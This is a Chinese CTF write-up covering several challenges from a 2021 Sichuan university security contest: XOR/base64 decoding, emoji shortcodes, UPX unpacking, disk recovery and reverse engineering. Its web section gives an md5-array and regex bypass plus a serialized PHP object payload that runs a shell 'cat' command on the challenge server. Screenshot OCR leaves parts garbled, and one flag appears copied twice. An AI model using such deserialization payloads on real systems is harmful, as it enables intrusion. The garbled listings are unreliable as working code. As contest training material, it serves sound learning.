2021年四川省大学生网络安全技能大赛 部分wp





ctf 专栏收录该内容

31 篇文章 0 订阅 订阅专栏

加密解密

easy_pyc

在线反编译得到

```
1 #!/usr/bin/env python
 2 # visit http://tool.lu/pyc/ for more information
3 import base64
4
5 def encode(yourflag):
       s = ''
6
        for i in yourflag:
             x = ord(i) ^ 62
8
9
             x = x + 6
              s += chr(x)
        return base64.b64encode(s)
14 tureflag = 'X1h1X0sMEWNiDxQQDgwTX15eZRFgFWMOFBATXhMMYw8PD2UMZUk='
15 flag = ''
16 print 'input your flag:'
17 yourflag = raw_input()
18 if encode(yourflag) == tureflag:
       print 'OHHHHHH<sup>~</sup> correct!'
19
20 else:
       print 'emmm.. wrong'
```

.....

https://blog.csdn.net/jvkyvly

```
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
import base64

def encode(yourflag):
    s = ''
    for i in yourflag:
        x = ord(i) ^ 62
        x = x + 6
        s += chr(x)
    return base64.b64encode(s)
zz=''
tureflag = 'XlhlX0sMEWNIDxQQDgwTX15eZRFgFWMOFBATXhMMYw8PD2UMZUk='
flag=base64.b64decode(tureflag)
print(flag)
for i in flag:
        a=ord(i)
        a=a-6
        a=a^62
        zz+=chr(a)
    print(zz)
```

直接写脚本跑就行

15	flag=base64.b64decode(tureflag)	0
16	print(flag)	
17	for i in flag:	
问题	输出 调试控制台 终端	
flag{8	35cb704683fffa5	
flag{8	35cb704683fffa5d	
flag{8	85cb704683fffa5d1	
flag{8	35cb704683fffa5d1c	
flag{8	35cb704683fffa5d1c6	住编辑器中打开又件(Ctrl + 甲击)
flag{8	35cb704683fffa5d1c60	
flag{8	35cb704683fffa5d1c604	
flag{8	35cb704683fffa5d1c6043	
flag{8	35cb704683fffa5d1c6043f	
flag{8	35cb704683fffa5d1c6043f3	
flag{8	35cb704683fffa5d1c6043f38	
flag{8	35cb704683fffa5d1c6043f38c	
flag{8	35cb704683fffa5d1c6043f38c7	
flag{8	35cb704683fffa5d1c6043f38c77	
flag{8	35cb704683fffa5d1c6043f38c777	
flag{8	35cb704683fffa5d1c6043f38c777a	
flag{8	35cb704683fffa5d1c6043f38c777a8	
flag{8	35cb704683fffa5d1c6043f38c777a8a	https://blog.codp.pot/july.edu
flag{8	35cb704683fffa5d1c6043f38c777a8a}	nups://biog.csun.net/jvkyvly

flag{85cb704683fffa5d1c6043f38c777a8a}

em0ji

不用想前4个解密是 flag

直接网上搜em0ji

这个网址https://www.emojiall.com/zh-hans/emoji/%F0%9F%98%81

然后通过前面解码后是flag发现,解密就是简短代码的第一个字符

简短代码: 🔊

:grin:

然后有一些没有,最后得到这个,再联想补全和测试即可

flag{ m jiisv rysimal }

flag{emojiisverysimple}

web

papapa



两次base64解码 再 16进制解码得到源码

	搜索其实很简单加	密 解密	运行代码	搜
我的工具文库片段软件网站	Ł Wiki			
<pre>if(\$this -> command != 'clear'){ echo "You are a smart hacker command); }</pre>	pr>";			
}				
<pre>\$a = \$_GET['a']; \$b = \$_GET['b'];</pre>				
<pre>\$c = \$_GET['c']; \$d = \$_GET['d'];</pre>				
if(!isset(\$a)){ echo "\\$a is not exist!";				
} else{				
echo(base64_encode(base64_encode(bin2he echo("");	ex(file_get_contents(FILE)))));			
if(\$a != \$b && md5(\$a) == md5(\$b)){ echo "ves!":				
<pre>if(\$c && ereg ("^[a-zA-Z0-9]+\$", \$c echo "yes!!"; echo(unserialize(\$d)->dosomethic</pre>	<pre>E) === FALSE){ ing()):</pre>			
} }	····y(777			

md5数组绕过,正则那可以-绕过,也可以用%0a绕过

然后构造payload 先弄的ls,flag.txt里是假的,然后看到wobushif0agaaa.txt,是真的,读即可

看	🔡 new	w 1 🗙 🔚 1. php 🛛	
	1	<mark>₽<?php</mark></mark>	
	2	Class NoVu {	
	3	<pre>public \$command='cat wobushif0agaaa.txt';</pre>	
	4		
	5		
	6	- }	
	7		
f	8	<pre>echo urlencode(serialize(new NoVu()));</pre>	
	9	L?>	

最后payload

/main.php?a[]=1&b[]=2&c=-&d=0%3A4%3A"NoVu"%3A1%3A%7Bs%3A7%3A"command"%3Bs%3A22%3A"cat+wobushif0agaaa.txt"%3B%7D

flag{d90666230fc046c19ff11df9858702a0}

misc

我的世界



f012a1g4{2s2c}dxsCTF	2
每组字数 14 加密	解密
f1ag{scdxsCTF202142	22}

提交这个显示错误。。。



牌子是有个这个,然后上面有个地图,然后感觉有猫腻,看不清,到地图上看



看到这个,尝试了一下加到flag后面,结果就对了

flag{scdxsCTF2021422CTF515}

Pack

可以看到UPX节区名错了

LDU LEO LFO 55 50 58 30 00 00 00 00 00 0F 00 00 10 00 00 UPX0..... 200 210 00 00 00 00 80 00 00 E0 55 50 58 31 00 00 00 00€..àUPX1.... 220 00 00 05 00 00 10 OF 00 00 FZ 04 00 00 04 00 00ò....@..à 240 2E 72 73 72 63 00 00 00 00 C0 00 00 00 10 14 00 .rsrc....À..... 250 00 BE 00 00 00 F6 04 00 00 00 00 00 00 00 00 00 00 .¥....ö.....

修改保存

然后upx脱壳,再用ResourceHacker_zh.exe打开,一顿乱翻



然后还有一个皮皮虾的那个,看二进制视图,最后那有个base64



解密组合一下即可

flag{0bed66d154ccbdd07a6342abf97a5cfc}

disk-recover



打开得到flag

3 00	000.als												- 0	×
预递	文件数据			🥪 文件头数据与类的	附留符。									
A1	÷	i x	√ fe	日月新公司洗涤	用品月销售	报表								~
	4	В	C	D	F	8	G	н	T	T	K	1	×	
	- 10			U					AV At	40 ±	10	~~~~		-11
1						月新	公司洗涤	书品月	销售:	报表				- 11
2	D //	洗3	沐	计中央日本相关	沐浴	露	24-39-00 Fildsdards	洗面	Ī奶	法面积目的推动	··		***	月
3	月份	单价	销售量	冼友小月销皆镇	单价	销售量	外伯器月相皆朝	单价	销售量	光風効月相皆観	单价	销售量	12-6月相告领	à.
- 6	1月	₩36	300	€10,800.00	₩28	₩400	¥11,200.00	¥54	₩350	€18,900.00	¥8	¥344	₩2,580.00	*
5	2月	¥35	231	₩8,085.00	¥29	¥335	₩9,715.00	¥46	¥204	₩9,384.00	¥6	¥431	¥2,586.00	王
6	3月	¥33	230	¥7,590.00	¥35	¥250	¥8,750.00	¥34	¥340	¥11,560.00	¥5	¥300	¥1,500.00	ぞ
7	4月	¥24	151	₩3,624.00	¥28	¥321	¥8,988.00	¥50	¥250	¥12,500.00	¥8	¥261	¥1,957.50	¥.
8	5月	¥30	352	₩10,560.00	¥29	¥325	€9,425.00	¥46	₹345	₩15,870.00	¥6	¥172	¥1,032.00	¥.
9	6月	¥30	123	¥3,690.00	¥28	¥243	₹6,804.00	¥56	¥198	¥11,088.00	¥7	¥195	¥1,365.00	王
10	7月	¥36	163	¥5,868.00	¥28	¥263	¥7,364.00	¥54	¥333	¥17,982.00	¥8	¥463	¥3,472.50	÷:
11	8月	¥35	562	\$19,670.00	₩29	\$462	\$13,398.00	¥46	₩500	\$23,000.00	16	\$573	₩3,438.00	- BC
12	9月	¥36	540	€19,440.00	¥28	¥590	\$16,520.00	¥56	¥640	₹35,840.00	¥7	₹370	₩2,590.00	<u>.</u>
13	10月	¥30	230	₹8,280.00	¥28	₹450 ¥450	¥12,600.00	¥40	₹330	¥15,180.00	₹8 ¥4	₹650 ¥024	¥4,875.00	*
14	11 /1	957	450	410,872.00	429	#450	₱13,224.00	9:40	#450	\$20,976.00	*0	#234	● 1,404.00	
15	121	9 50	481	±17,310.00	\$50	1 481	±14,430.00	9CF	148 1	\$20,930.00	±/	\$000	€3,920.00	
17														
11					1.000								-	
18			That	s cool!!	- 本設].迪天H	FLAG: E7A	A10C15	6E26A	A5750070E	F756/	AAA1F	7C	
19														
20														
-		XXX洗涤用	品月销售情况	(授表) ()					1	https	37/1910	greseli	HAIOU V	7HY

flag{E7A10C15E26AA5750070EF756AAA1F7C}

RE

easy_re

脱壳,然后ida f5打开

```
7
• 10
      v9 = __readfsqword(0x28u);
      strcpy(v5, "'- &:8.4a 3$a&3$ 5```<");</pre>
11 🔍
12
      v6 = 0;
13
      v7 = 0;
      for ( i = 0; i < (unsigned __int64)j_strlen_ifunc(v5, argv); ++i )</pre>
• 14
• 15
        v8[i] = v5[i] ^ 0x41;
• 16
     return 0;
• 17}
```



flag{you are great!!!}

base变形计

upx脱壳,然后发现是变表base,也和题目呼应,密文动调得到或者自己算也行。动调第一个输入要是42,然后输入flag,39这 个字符

import base64
<pre>s1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"</pre>
<pre>s2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"</pre>
a=[0x50,0x67,0x72,0x62,0x50,0x19,0x79,0x1e,0x47,0x5e,0x4f,0x72,0x44,0x5d,0x5f,0x1b,0x44,0x70,0x62,0x63,0x47,0x5c
,0x47,0x72,0x45,0x5e,0x50,0x63,0x47,0x70,0x5b,0x18,0x50,0x60,0x69,0x1f,0x53,0x5d,0x4c,0x66,0x45,0x5e,0x53,0x72,0
x53,0x70,0x5b,0x7d,0x53,0x19,0x1a,0x17]
flag=""
for i in a:
<pre>flag+=chr(42^i)</pre>
<pre>flag=base64.b64decode(flag.translate(str.maketrans(s1, s2)))</pre>

flag{you are great!!!}

官方wp